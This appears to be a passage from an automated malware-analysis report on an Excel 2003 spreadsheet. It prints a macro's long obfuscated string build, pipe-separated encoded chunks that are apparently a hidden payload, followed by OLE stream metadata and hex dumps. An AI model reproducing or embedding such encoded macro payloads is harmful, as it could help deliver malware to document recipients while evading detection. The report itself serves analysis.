7w|EJdWPt|3qJk5H|TafRTI|MGbl3s|EdsuqQ|ZsLvyW|pdsuqe|qWley1|TEuWf0|MWfz3w|EJy1bp|5HFX6W|ASKlb2|71XJ3w|ueuHlU|dgfe3G|bYiNJQ|5HTauJ|l8VlXp|38xl5W|7JK4Jk|5HTafR|TIMGbl|3sEdsu|bd7RTp|5WMQZs|LvyWpd|suqeuH|lUNqpd|31qQ5H|TadWfG|quXPiN|JQ5HTa|fJITuH|f27Wlj|3sER31|qYil7p|5jm21J|PNbsip|VlX0y1|7eswEz|"
str = str & "7gPeyH|f9k6UX|6WASKU|El7JPN|bsEuMn|fz7gfl|iNJQ5H|TafRTI|MGbl3q|Jk5HTa|dWfGqu|XPVUPj|3fbEMg|uQZs40|NqpT3S|LT5lXJ|MShfqH|Pz3shz|7RTLyH|XlMGmp|V6TsiS|UQZS40|iPbY3w|FQ5HTa|dWfGqu|XPVUPj|yHfzMJ|IhMHcQ|Zs4xmd|MEoN8G|NqpT3S|LT5lXJ|MShfqH|Pz3shz|7RTLyH|XlMGmp|V6TNiS|UQZS40|iPbY3w|FQ5HTa|dWfGqu|XPVUPj|yHfzMJ|IhMHcQ|Zs4xmj|qIXjmx|NqpT3S|LT5lXJ|MShfqH|Pz3shz|7RTLyH|XlMGmp|V6TgiS|UQZS40|iPbY3w|FQ5HTa|dWfGqu|XPVUPj|yHfzMJ|IhMHcQ|Zs42mN|m2mdiG|NqpT3S|L0y1bY|fRl03s|4Ai6Tg|suxPiS|LL5WqQ|yWxT5W|hlMWlJ|iNJQfR|TI3sLu|Kgfeig|ASKUEl|7JPNbs|ELyHfg|5gPnM2|4AiN8H|NqpT3S|L0y1bY|fRl03s|4Ai6Tg|suxPiS|LL5WqQ|yWxT5W|hlMWlJ|iNJQbW|PcMHuQ|fghl5S|LvyWpo|317LqJ|ueqwXl|bWxh3G|mQZs40|NqpT3S|L0y1bY|fRl03s|4Ai6Tg|dJx8bf|iSi8Pe|36LS58|leKgf2|K1qQZs|LuMnfl|iPbY3w|FQ5HTa|dWfGqu|XPVUPj|3u3cyw|7ziNJQ|mdUX6U|lWiRLh|7ghuO1|LliNJQ|iU3Zd8|bPuSiQ|qwEUig|TcswEY|31Tp76|4Ai83h|5RXliP|bY3wFQ|5HTadW|fGquXP|VUPj3u|3cyw7z|iNJQm0|JkuHfJ|igASKU|3p5gfd|3wXd31|bJKwEn|iNJQ5H|TafJIT|uHf27W|lj3sER|31qYil|7p5jm2|1Jxv3H|ljywxg|"
str = str & "KwxluH|fj71Tp|7Rld31|bJKwEn|VlLh7g|QAT2iW|MGb2ug|PJK6yS|T2ipNq|pNywxc|igASKU|3p5gfd|3wXd31|bJKwEn|VU7l7P|XlyGf2|K1bEbg|fzyGTp|MRbvMS|hvyWpd|b6UX6W|TcuJf9|b8PNdP|ALffbZ|1Jlos8|fssfbP|b64AiP|b27wuX|6UlWi6|hvyWpd|b6EN5H|EJMWAc|bWxh3G|mQqwEU|i63iXN|40ks4A|iN4Qfg|hl5QJk|yWxdbf|A8quXm|1JPff8|A9suEi|bfTTf8|f8iNJQ|bWPcMH|uX6WAS|KlX8VU|Xv5nb2|5Hxg5g|PnM24A|i6hvyW|pdb6EN|5HEJMW|AcbWxh|3GmQdG|iQTUQJ|mN4pNq|pP5WqQ|swyX6U|lWigTc|swEY31|Tp764A|iPb27w|uQfghl|5QJk5H|TauJqe|qHAe7R|Tv583c|yw7ziN|JQkgAS|KlX8VU|Xv5nb2|5Hxg5g|PnM2LL|5WqQTU|hPbU3g|kqJkbw|xz3qJk|5HTauJ|qeqHAe|7RTv58|3cyw7z|iNJQkg|ASKlX8|VUXv5n|b25Hxg|5gPnM2|LZMS4W|sN8JmN|4pi4Jk|bwEUi8|lWNqpv|yWpZ5g|b8ywXc|iNJQ5H|TauJqe|bgPj54|JkuWf8|KwJQ5H|TadWfG|bgPj56|Q0kqJk|uHfJig|ASKUEl|7JbhyH|0Ym6UQ|ZsLvyW|po317L|qJuX6W|ASKlX8|VUbhyH|0QZsLv|yWpo31|78ywXc|NqpNyw|xcigAS|KU3p5g|fd3wXd|31bJKw|EnVlXl|7PXlyG|f2K1bE|bgfzyG|TpMRbv|MShvyW|pdb6UX|6UPU3P|LlMWIp|MGXp5H|FQZs40|Nqpd31|qQ3nXv|iNJQdW|AJKgle|30Jkbw|EUi83I|5WXJKw|AeNqpd|7wiQ71|Lz7gP2|"
str = str & "74JkdH|FQb1T2|5GiQuW|fz7wIl|i8ElOR|qX6Ubp|5sLGMW|yX6nXY|3wxc5H|TaVnTl|3G72K1|bli6Ti|sJf31J|XfulTP|dlb9ff|XPulxz|5H3J7H|P23fxt|KwX25G|Xv3nbM|7Hle3g|AGMIxj|71T23w|EJ7Wf2|MHlv5l|x27wEM|7HleiS|0Qin7z|yGTpMR|qe31hl|i6BvqS|4Si6yQ|qHh2f2|QzX6UQ|TSLp5n|XJywxc|3gl2i6|yQKwEz|7gPc5g|Eh5wuQ|TSLNKR|T1kNmJ|ks4ci6|Tsbu79|uIYSNq|pzKgfc|5gASKS|E23w7G|MWlJ3s|4Ss8tP|wfAmdJ|XLdPAX|quXisu|EP1RXv|3nbGy1|Tl1gIp|yGTvMH|AW7PxG|KwEU5G|7z1gXI|MnTl5n|bH31Tz|KwAe1R|TI5lxG|KwFSV6|4S7GXj|MWl076|ElOguQ|V2A6i6|iQTSLN|KRT1kN|mJks4W|igleMG|bh5gxU|K1iQTS|Lp5nXJ|ywxc5W|Pt3s4W|i8XYMl|MYmzqp|i60Qil|TPbIAd|wSiX6n|bF764A|i6iBKW|ASZjxv|yWplyG|qQKwqA|iSTGiS|iQMRTv|3HlUZs|iSfIXj|MWl076|EdKgfc|56iSi6|B+ZRXj|MWl076|LcywEn|7wPn3d|JSil36|uHX2K1|LJiSi+|72E27w|FQiSTG|MHX2K1|LJVWfF|3s4vVJ|iQiSiW|qHh2kN|mJks3G|VWfFMg|Pe3gfe|7Wl25H|Et3wEJ|MGb2Kw|EnM2QS|iSfubu|IqTsiS|ksySil|xGKwEz|7gP276|EGMHyS|iS3NKR|iYmzqp|onMeMn|fei6iS|7GXjMW|l076El|OguQV2|A6i6iS|TUXYMS|QzX6UW|72ElOR|Lh5Wbl|5n3pMW|Ae5wfe|7RXJMW|le3GmY|iSils8|AXbubs|"
str = str & "sf3PTs|iSksyS|ilxh71|bv31hl|y2EGMH|ySiS3N|KRiYmz|qponMe|Mnfei6|iS7GXj|MWl076|ElOguQ|V2A6i6|iSTUXY|MSQzX6|UW72El|ORLh5W|bl5n3p|MWAe5w|fe7RXJ|MWle3G|mYiSil|s8AXbs|uSiSUW|iSTM7H|leMGbh|Mnqe7G|XWiSiW|qHh2kN|mJkd0v|MHX2K1|LJZj0v|KWASZS|iX6lXl|76LGMW|yQZsLg|MHBeqG|Tly1bl|fgfF78|3p5guY|MGbhMn|bIM6yS|7HleVn|7z3Sic|fRTI3s|xgywxz|3sUX6n|723SEG|MWlJ3s|LJORqX|6n723S|EN5gAz|3qJkKw|Ez7gPc|5RXlMn|yX6nXj|KgfU7w|xlNqpP|5WqQuG|fSNqpg|7wEj7g|lv5SLz|yHhl3R|fc3sQp|NqpZ5S|LPMnTv|MSLs31|XI5wuQ|dWfF74|JkMHhl|5gxvyW|Yeunfe|i6TzyH|hJy1Xr|M24vqG|Tly1bl|i6Adq2|LZdUxZ|bJAoi6|AudSLX|KwX25G|Xv3nbs|KHE256|4vfPiQ|iSTGMH|X2K1LJ|VWfF3s|4vVJiQ|16iSiS|3p5nXJ|ywxc3g|l2TWle|MGbh5g|xeywIl|TSTMiS|iSiS4v|bSicm6|xuMnfl|NqpzKg|fc5gAS|KSEs7w|FQinXj|KRbhMH|tzi6AN|MWfh7g|uQVIXN|i8Aod8|ARdJFQ|VIboi8|IpyGTv|MHAW7P|Tr5nTc|7Hlei6|AuuS4S|in7zyG|TpMRqe|31hli6|BvqSLM|iSiSTn|XJy1TJ|714Win|7p5SEG|MHySTS|TMiSiS|iS4vbS|icm6xu|MnflNq|pzKgfc|5gASKS|Es7wFQ|inXjKR|bhMHtz|i6ANMW|fh7guQ|VIXNi8|Aod8AR|dJFQVI|boi8Ip|yGTvMH|AW7PTr|"
str = str & "5nTcy1|fJ524v|fPiQiS|TGMHX2|K1LJVW|fF3s4v|VJiQ16|iSiS3z|Kgfc5g|ASKSEl|ORLh5W|bl5n3p|MWAe5w|fe7RXJ|MWle3G|mYiSfi|dJIPbP|TTfUul|iSUWil|xh71bv|31hly2|EGMHyS|TSTMiS|iSiS4v|bSicm6|xuMnfl|NqpzKg|fc5gAS|KSEs7w|FQinXj|KRbhMH|tzi6As|7wFQVI|boi8Ip|yGTvMH|AW7PTr|5nTciS|00VPb2|7wuX6U|fe36Lg|7wEj7g|lv5QJk|bnfeyG|bp5HFQ|KwEz7g|Pc5RXl|MnyYkq|JkdHFQ|b1T25G|iQuWfz|7wIli8|ElORqX|6Ubp5s|Lz31TH|3gl2V6|Lz31TH|7gAWKw|xlV6LG|5wUX6W|X23wPJ|3uPI7g|BX6nXl|Mn3UK1|iQZsLm|3w3Jk8|3z52En|31bzMg|fjKwPc|3WAc3g|f2kN4p|VNmpNq|pz31TH|7gAWKw|xliNJQ|MHf27W|bpMS4W|i6Th71|bv31hl|y2EGMH|ySNqpd|31qQ7H|IpZu7l|78ASKW|fj76QS|7Hle5w|7t7RmD|1P0e1R|Tv5GbM|yHlt7j|iSkqJk|uHfJiR|XlMjI1|5wUebH|fJk6TG|KwFzml|Az31TH|KwXliS|UX6nfI|Z1XlMS|EjMWfh|7guYiU|IzuWto|MUxGMH|ySV6TX|KwX25G|Xv3nbq|y1XzMg|A278Xv|5nbhKw|ElMSic|iSfzO1|XJ3wI2|5HAJTf|xzO1XJ|3wJzml|xGMHX2|K1LJVW|fF3s4v|VJiQiS|yQqHh2|kNmJks|4WMHf2|7nbv3W|lc3s4W|i8XYMS|QzX6UQ|VN8HVN|iciUPI|7gAty1|bpy2ic|bWPcMH|uciUxv|yHPcuG|lz7gft|iSxo7w|xckqJk|bwEUi8|3I5WXJ|KwAeNq|pg7wEj|"
str = str & "7glv5S|LjMWfh|7gfL71|bvk6UX|6UAei8|f2MWA2|iPTlMG|ft3sLo|31hJNq|p8KwJQ|MHf27W|bpMS0Q|MHf27U|3p5guX|6nXlMn|3UK1iQ|ZsLm3w|3Jk83z|52En31|bzMgfj|KwPc3W|Ac3gf2|kN4pVN|mpNqpz|31TH7g|AWKwxl|iNJQMH|f27Wbp|MS4Wi6|Th71bv|31hly2|EGMHyS|Nqpz31|TH7gAW|KwxlmS|4AiRXl|Mn3UK1|iQTS4S|f8IqVl|bXu6iX|6U3z52|En31bW|KwxlkR|XlMn3J|5H3p5g|upVWPJ|7RTpyn|fJ31mQ|Zs40Nq|pgMHBe|3HfJ3W|lc3shz|31TH7g|AWKwxl|mSUey1|bJMWlS|71blM2|4AiN4X|6U3z52|Ej5GLE|3Wlc3s|L1uHX2|K1LJVn|XjMWl0|7g3I5g|xeywIl|VRXlMn|3J5H3p|5gucfR|TI3qJk|bnXvVW|XvMRlW|Kwxlig|leMGbh|5gxUK1|iWilbX|u6Eudf|4SVRXl|Mn3J5H|3p5gu2|VPb27w|uX6U3z|52En31|bWKwxl|kRXlMn|3J5H3p|5gupVW|PJ7RTp|ynfJ31|mQZs42|i6cQX4|JkbnXv|VW7l7g|3p5guY|MHf27n|bv3Wlc|3dipVW|PJ7RTp|ynfJ31|mQZs42|i6cQX4|JkbwEU|i83I5W|XJKwAe|Nqpg7w|Ej7glv|5SLHy1|Tpy1bp|5HFYkq|JkdHFQ|b1T25G|iQuWfz|7wIli8|ElORqX|6nTlyw|bt3s4A|iRTlyw|bWKwxl|kP7dyG|TpMRqe|MHX2K1|LJ3nfc|5gEh5w|upNqpS|y1XlMH|ln5S4A|i6TBiS|4WiRTh|5Wbv5f|Xp3HFY|msxT5n|qYMWPe|3gAtuH|ln5SQ2|VN8pi8|Iv364z|ksUQTS|L2ywEU|5HIdKw|7ekNic|"
str = str & "msUX6n|XJMS4A|iPTlMg|xhyHuY|MWfh3g|IlVPpe|VgThMH|fzKw7e|kqJk3n|feMHln|5S4AiR|Th5Wbv|5fXp3H|FYms0G|kqJkMG|b2iNJQ|uWf05g|Pj3shz|7RicwW|EVVg3I|5nXp3H|FpNqpU|51XJMS|4AiPTl|MgxhyH|uYuUyc|wWEVVg|3I5nXp|3HFpNq|pU51XJ|MS4AiP|TlMgxh|yHuY3g|Iz7Ric|wWFcyW|Pz31Xp|3HFpNq|pd31qQ|5HTabW|lc3s4A|i83z52|ENMWfh|7gfu31|hJbWlc|3shp5n|XJywxc|3gl2i6|yQilbX|u6Eudf|4SVPb2|7wucbW|PcMHup|NqpvyW|pgKwxl|Vn72K1|bligbt|MGb2Nq|pvyWpg|KwxlVW|Xc5GXl|NqpWMG|b2iNJQ|uWf05g|Pj3shz|7RicwW|EVVg3I|5nXp3H|FpNqpd|31qQ5H|TabWlc|3s4Ai8|3z52EN|MWfh7g|fu31hJ|bWlc3s|hp5nXJ|ywxc3g|l2i6yQ|KwEz7g|Pc5gEh|5wucfR|TI3sxg|ywxz3s|UX6WAS|KU3p5g|ue7GTp|7guQ3n|XJMQJk|5HTabW|lc3sEj|5gAz3q|JkbwEU|i83I5W|XJKwAe|Nqpg7w|Ej7glv|5SL2yw|EU5HId|Kw7ekR|P2VgEI|51qpNq|p2Mz8Q|Zs4Squ|TNb8fg|bJhTsU|tmduEZ|uPPsuI|bffl7y|wfphyW|XU3w3n|KglnKH|xt5WA0|M1Tz7R|fH7GhE|OSiX6n|TzmS4A|i6i0md|izXNuH|XzQEiQ|JkswyQ|M1iQZs|4xiPbY|3wFQMn|mQZsL2|Mz8Qbw|xz3sL2|M24AiR|TzmSLP|5WqQsw|yX6U3v|MSLpiN|JQmsLu|52Le7w|IJNqps|ywEU5H|IpOWuX|6nTlMg|0QZsLT|5nqYdg|fekRTz|"
str = str & "ks4aiP|Te36Q2|ks4riN|8pNqp2|31XI5R|qQZsL2|31XI5R|qQTSLX|KwqYMn|mcMWf0|560xkq|JkdWfF|74JkMW|Pe3gAt|uHln5S|4AiRTl|MGfc74|JkbwEU|i83I5W|XJKwAe|Nqpg7w|Ej7glv|5SLR31|bY5GXJ|k6UX6U|Aei8f2|MWA2iP|TlMGft|3sLo31|hJNqpT|3SLgMH|BebWlc|3ufFK1|XJM2ht|OwleKs|UQfghl|5QJkbH|fJKgAz|764Ai8|7l78qY|iUqxiS|UX6Ufc|MHuX6U|7l7ghv|MGqQZs|LR31bi|k6UX6U|fe36LT|3QJkbw|EUi83I|5WXJKw|AeNqpg|7wEj7g|lv5SLe|317z31|TH31iY|5glz76|UX6Wl0|iNJQuG|LcK1qQ|kgxpMG|qcin0S|kqJkbW|A2igUA|m6Lu52|LfqWAI|5WqYK1|4pVd8X|6l72K1|blswEp|igIEKw|EpV6Tj|7RTcbg|AtiS0S|K14STW|UrmsxS|qwfokg|l0kgUp|kqJkdW|fF74Jk|fGTp7g|fT5WUQ|51lp5W|UciWXJ|MWx85H|JSV6TU|qHAI5n|qSVPf6|5Gfe36|hpM6UX|6Ufe36|Lg7wEj|7glv5Q|Jkbnfe|yGbp5H|FQbHfJ|b6hU5H|JpNqpZ|5SLPMn|TvMSLs|31XI5w|uQdWfF|74JkMg|A2764A|i6iJXj|MFosiX|6nLcyW|cQZs4S|VGLcy1|lSywXr|VWPzM6|iX6nTl|M24Aig|P6kPTl|ywbT5W|UY51lp|5WUci6|Tj7RTc|bgAtiS|0Q3gAt|V6iSks|UX6nXJ|y1qQZs|LjKgtY|5GXJk6|TY7Rb0|oSBviS|3231mW|ijYSTn|LvMnqW|MgxSK2|UX6UlW|iRTlM2|4BZS4S|iSLL5W|qQMGbh|7N0+iW|EviSLu|KgfeNq|pR31b8|"
str = str & "iNJQiW|hJ7R4D|V2BSTn|TlM2yS|oSiWMg|A27630|5gTrNq|pi3Wxh|324Ai6|TUiQJk|b1hp76|Lg7wEj|7glv5Q|Jkbwxz|3qJk5R|XJqHAI|5nqQZs|Ls3wPU|swEpkg|IEKwEp|V64SyG|b258bv|5sici6|TUqHAI|5nqSV6|iSkqJk|bWA2ig|UAmsLu|52LcMG|bN5Gfe|74JkMW|fziNJQ|yuiYuW|fh38le|KshtOw|leKs0Q|iWXJMW|x85HJS|V64SK1|4STWUc|iSipkq|JkswyQ|MWfziN|0+i6iS|i8Pe36|LjKgtY|5GXJk6|TY7Rb0|oSBviS|3231mW|ijYSTn|LvMnqW|MgxSK2|UQZNFS|5WBSiP|bY3wFX|6U7l78|qQZs4S|KRbJMN|YvV2iW|MWfzTS|iDiS30|5GTJTn|LcyWcX|6UhW5g|PniNJQ|iWqSNq|p1MWlJ|3uleKs|LtOwle|Ks0SyG|b258bv|5sic3g|AtVgTL|3uFYMW|fzkqJk|fGTp7g|fT5WUQ|51lp5W|UciWXJ|MWx85H|JSV6Tp|M6iWKs|0SZ8bP|dNFSNq|pPOglJ|i83I5W|XJKwAe|NqpP5R|XlNqp1|MWlJ3u|leKsLt|OwleKs|0SyGb2|58bv5s|iciWl0|iS3pV6|iBb8fm|ZSiX6U|fe36LT|3QJkdW|fF74Jk|bwEUi8|lWNqpR|31b8iN|JQbHfJ|s6QpNq|pP5WqQ|bnfeyG|bp5HFX|6U3I5W|XJKwAe|i87l78|QYkqJk|dHFQb1|T25GiQ|uWfz7w|Ili8El|ORqX6U|QQZsLR|31bp5W|UX6UQ0|iNJQyu|iYinpz|KdLF7H|xP5zTw|qHAe7u|tF5jl2|wdXp5g|PjfJfF|5UX05H|Etbfli|ofP1MG|PY5zXE|K8TjdG|T6bgIT|5JIE5R|hKZdJS|kqJksN|8QZsLh|"
str = str & "qSQSOn|XpmRhG|58fvml|3N5HEI|sH82ou|t35lM0|wdTRsI|lu3g36|mUmxqn|iEuf7z|MwhvmG|lYqWXZ|MUT85u|lvd1lc|OPYAZs|ipNqpi|mS4Aig|P6k6TD|MHU0OR|7cbwB2|fUXvuw|PbO8P6|3Ui2qz|P6Mjlb|fGXxKg|BzOwh6|yJA2qU|btswAX|OwxFwj|JAiSUX|6UQziN|JQyuiY|uWfh38|leKsht|OwleKs|0QiWXJ|MWxi5G|XJiS0Q|iW7l7g|QSV6iS|ksUX6U|QJiNJQ|yuiY31|bY5GTU|31ipNq|pg5GiQ|5dJ0iP|bviNqX|6UqQZs|LdMgxp|76hP7W|Pck6Ti|iS3tks|0SV2ip|kNipNq|pqiNJQ|iSiX6l|4QZsLn|b8UYb6|UX6l4Q|Zs4SKR|bJMNYv|V2iWu6|ySVHXJ|MW0vMg|xhOwTh|yHceMg|h0iQJk|swyQsw|Ed7RiY|yHhrKg|Az76hq|ks0Sdu|fuqsip|iNFQm6|LuKgfe|NqpR31|biiNJQ|u4Jksg|3cywMQ|Zs4SK6|iX6l72|K1blsw|EpigIE|KwEpV6|Tj7RTc|sgAz76|iciW7l|7gQSV6|LSqwfo|k87l78|QpNqpP|OglJi8|3I5WXJ|KwAeNq|pP5WqQ|swyX6U|ElORqX|6U3vMS|LpZd4Q|fgBQX4|JkswyQ|swEd7R|iYyHhr|KgAz76|hP7WPc|k6TiiS|3pksUc|iUIPf8|8Sks4+|iN4Qfg|hl5QJk|bHfJs6|4Ai8fH|yw0YiU|QSTWUp|Nqpi3W|xh324A|i6TYiQ|JkfGTp|7gfT5W|UQ51lp|5WUciW|XJMWxi|5GXJiS|0S3HfJ|K6icig|TL3uFY|bHfJs6|UX6UfF|K1qQbn|feyGbp|5HFX6U|fe36LT|3QJkdW|fF74Jk|K8Xv7w|EJiNJQ|uWfh38|leKsht|"
str = str & "OwleKs|0QiWXJ|MWxi5G|XJiS0Q|iWhN5G|fe76ic|iSipNq|pg5GiQ|KdJxiP|bvighN|5Gfe74|Jks64A|igP6kP|TlywbT|5WUY51|lp5WUc|i6Tj7R|TcsgAz|76ici6|TiiS3p|V6iSks|UX6UlW|i8leuG|b2kgXY|KHhvMG|qYs6Uc|iUIPf8|8Sks4+|iN4Qfg|hl5QJk|bHfJs6|4Ai8QX|6UhW5g|PniNJQ|iWQSNq|p1MWlJ|3uleKs|LtOwle|Ks0SyG|b258hv|MGqSV6|Tn31bY|iS0QyU|PldShR|31bikq|Jkb1hp|76Lg7w|Ej7glv|5QJkbw|EUi8lW|Nqpo31|hJNqpR|31biiN|JQbHfJ|sgEl72|QpNqpP|5WqQbn|feyGbp|5HFX6U|3I5WXJ|KwAeig|78sshU|5HIhKw|FpNqp8|KwJQ5H|Tab1hl|yJASKW|fj760Q|MGb2fg|fF74Jk|MGb2fg|fF764A|igXt3R|XY3wxc|k6TeMH|xv5HtI|M64STW|bv5wPp|5SUX6U|bp5sLX|y1bjKg|fzV6LX|y1bjK6|0Q3gAt|ywles1|4X6lTl|3JfFM6|Eqy1bJ|31TeiN|JQiSh5|m6JEys|IW11cx|VNbAoS|cpOzmc|XGI5m6|JEysIW|11cxVN|bAiQJk|uWfnb1|h0VUln|5WA23u|XhMHuQ|ZsLgyw|xz3qJk|uWfnb1|h0VU7c|5HTh56|4AiPb2|7wuX6l|Xl76LX|y1bjKg|fziNJQ|uWfnb1|h0VUfF|3wXI7g|uYMGb2|fgfF76|UX6UlW|i8Ih7g|XY31me|qHAI5n|qQZS40|iPbY3w|FX6Wbv|5wPp5U|l0iNJQ|ilcSi6|yQdwPJ|yHhlM2|ET7gft|k8Ih7g|XY31me|qHAI5n|qtmsUe|fWPc7w|uQTS4S|1siX6U|fcMHuX|6lTl3J|fFM6Eq|"
str = str & "y1bJ31|TeiNJQ|ilxUOz|8cmGIM|VlxUOz|8cmGIM|VlxUOz|8cmGIM|VlxUOz|8cmGJS|Nqpd31|qQdwPJ|yHhlM2|4AiPTl|3JfFM6|EPOgfj|71blkR|XJMlbl|ORqpNq|pU5HIh|KwETM6|4Ai8Ih|7gXY31|mes1bl|5shXy1|bjKgfz|VUXv7w|EJVd8p|Vl3h5R|flNqpP|5WqQsw|yX6W78|ss4Aig|bv5wPp|5Ul0Nq|pP5WqQ|bnfeyG|bp5HFX|6U3I5W|XJKwAe|i87l78|Q2k6UX|6UAei8|f2MWA2|iPTlMG|ft3sLo|31hJNq|pim64A|igP6k6|TDMHU0|OR7cbw|B27utF|5jl2wd|XkZsip|Nqpims|4AigP6|k6Tv5n|fVOgFE|MlUzsj|JSkqJk|sNiQZs|LhqSQS|5HEtKP|78uUf6|mHlSwf|QE3Plu|7df65n|fbOWiI|3Rpzwj|JSkqJk|bWA2ig|UAmsLu|524INq|pT3SLT|5lXJMS|hjKgtY|5GXJk8|Q0i6yQ|ij4Si6|yQKs4W|i8Qxi6|yQij4S|i6yQKs|4Wi8Q2|ks0Sdu|fuqsip|iNFQm6|LuKgfe|NqpR31|bimS4A|i8Q0i6|yQij4S|i6yQKs|4Wi8Qx|i6yQij|4Si6yQ|Ks4Wi8|Q2NqpP|OglJi8|3I5WXJ|KwAeNq|pP5WqQ|swyX6U|ElORqX|6U7l78|Q2iNJQ|iWEviQ|JkbwEU|i83I5W|XJKwAe|Nqpg7w|Ej7glv|5SLR31|bi5WfG|k6UX6U|Aei8f2|MWA2iP|TlMGft|3sLo31|hJNqps|5HAJMW|fziNJQ|yHhrMW|Av74Jk|yGb258|QQZsLd|Mgxp76|4YuWAv|7RTlM2|0SZR0+|iSUYX2|UX6UQQ|ZsLdMg|xp764Y|yGb258|Qcin0S|kqJkbW|A2igUA|m6Lu52|LfqWAI|"
str = str & "5WqYs6|UtmqJk|fGTp7g|fT5WUQ|51lp5W|UciWXJ|MWxi5G|XJiS0S|s6iWKs|cxVgTL|3uFYs6|hpksUX|6UElOR|qX6l72|K1blsw|EpigIE|KwEpV6|Tj7RTc|sgAz76|iciWhN|5Gfe76|icfuTv|7wEUk8|QpNqpg|5GiQKd|J0iPbv|iPf65G|fe36hi|ksJxNq|pT3SLT|5lXJMS|hjKgtY|5GXJk8|QYKsUp|V6TXbf|bLiSUQ|ZS40iP|bY3wFX|6U7l78|he31MQ|ZsLikg|UpNqpi|3Wxh32|4Ai6TY|iQJkfG|Tp7gfT|5WUQ51|lp5WUc|iWXJMW|xi5GXJ|iS0S3H|fJK6ic|igTL3u|FYbHfJ|sgEl72|UX6UfF|K1qQbn|feyGbp|5HFX6U|fe36LT|3QJkdW|fF74Jk|swyQbH|fJsNiQ|ZNFQiW|EviSLu|KgfeNq|pR31bi|5WfGiN|JQbHfJ|sNiX6U|fFK1qQ|bnfeyG|bp5HFX|6Ufe36|LT3QJk|bHfJsg|El724A|igP6kg|fJKgA2|3gf2kq|JkfGTp|7gfT5W|UQ51lp|5WUciW|XJMWxi|5GXJiS|0S3HfJ|K6icig|TL3uFY|bHfJsg|El72UX|6Ufe36|Lg7wEj|7glv5Q|Jkbnfe|yGbp5H|FQ31bY|5GTU31|iYkqJk|y1Lpyw|bUMS4A|igP6k6|TDMHU0|OR7cbw|B27wbD|sNfZfI|bddGhX|5fP6bN|bWOUqF|buTjOu|trmjPP|y1XlKg|PnmfX6|mWIPfJ|qImRPe|7fP1f8|APwf8x|mR3uqJ|tFmJpe|qUbpMR|he3uPF|qd4AiS|UX6Wfh|3gb2iN|JQyuiY|iUEz7g|bt3I3S|5fb6Xg|I8sjbm|f8FJ5f|PJX8Eu|y1L63G|l0yfbg|X8i231|Lt7HPd|qjTxdJ|EG7fPm|3Ii2iS|UX6WXY|"
str = str & "KHfh3g|b2iNJQ|y1Lpyw|bUMS4W|igfh3g|b2Nqpa|MHAeiN|JQyHhr|KgAz76|hjKgtl|ywbUMS|UX6U3v|MSLtiN|JQm6Lu|52LfqW|AI5WqY|uGLcK1|qYKnXv|5S0S9s|xCiSUp|NqpWMW|AtiNJQ|d8XhMH|uYMWfh|38pz5H|FYKnXv|5S0S3n|Tv5sic|5scxks|UX6UlW|ig325H|JQZsLl|ywbUMS|LuKgfe|Nqpn31|bp5nLI|764AiR|Tlywbk|MHAekg|pz5HFc|iWleMR|fJiSxt|kz8pNq|paMHTh|yHcQZs|Li31hu|5IXJMS|hXKwqY|3HfJKw|E071qc|m2UpNq|pT3SLT|5lXJMS|haMHTh|yHcciU|IPf88S|ks4+iN|4Qfghl|5QJk31|bY5GTU|31iQZs|LdMgxp|76haMH|ThyHcc|ijxBZS|ipkN8p|NqpPOg|lJi83v|MQJkbw|EUi8lW|NqpP5W|qQswyX|6UElOR|qX6Ufe|36Lg7w|Ej7glv|5QJkbn|feyGbp|5HFQsg|fFfgAd|7RiYqn|lwyw0Q|MGb2sg|fFkqJk|bglti8|IhO6xY|7RmX6U|IhO64A|i8xl5S|hz7RTi|31QpNq|pg5GiQ|Ks4AiN|8QfgBQ|dwPFiP|XJ314Q|mQJkKR|bziNJQ|KRbzi6|yQqHh2|k6iWK6|iQTSLX|KwqYMG|b2sgfF|V6LpV6|42ksUX|6UElOR|qX6Uhl|OPbvuG|b2iNJQ|KRbzNq|pP5WqQ|bnfeyG|bp5HFX|6U3I5W|XJKwAe|iRTlyw|bkMHAe|kgbh7g|8c7glJ|5gucqn|lwyw0Q|5nftkq|Jk5nft|iNJQ5n|fti6JQ|mqJkMG|bhMnbz|iNJQsw|Ed7RiY|3gPJys|0Sw2ip|kz8X6W|fe3RmQ|ZsLT5l|XJMShU|y1bhV6|T7iSUQ|VsLz7g|P27RmX|"
str = str & "6WPUy1|bhiNJQ|dwlUkg|bh7g8c|MGbhMn|bzVgfe|3RmpNq|pU5S4A|iPX05g|lJkgPU|y1bhV6|TAVRcS|kqJkyH|bh7g8Q|ZsLdMg|xp76hU|5ShfqW|AI5WqY|

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 105

General
Stream Path:	\x1CompObj
CLSID:
File Type:	data
Stream Size:	105
Entropy:	4.2900487463364065
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . F . . . . . M i c r o s o f t E x c e l 2 0 0 3 . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 1d 00 00 00 18 4d 69 63 72 6f 73 6f 66 74 20 45 78 63 65 6c 20 32 30 30 33 20 b9 a4 d7 f7 b1 ed 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 260

General
Stream Path:	\x5DocumentSummaryInformation
CLSID:
File Type:	data
Stream Size:	260
Entropy:	2.7798442015683915
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . P . . . . . . . X . . . . . . . d . . . . . . . l . . . . . . . t . . . . . . . \| . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t 1 . . . . . S h e e t 2 . . . . . S h e e t 3 . . . . . . . . . . . . . . . . . . . . . . . . . .
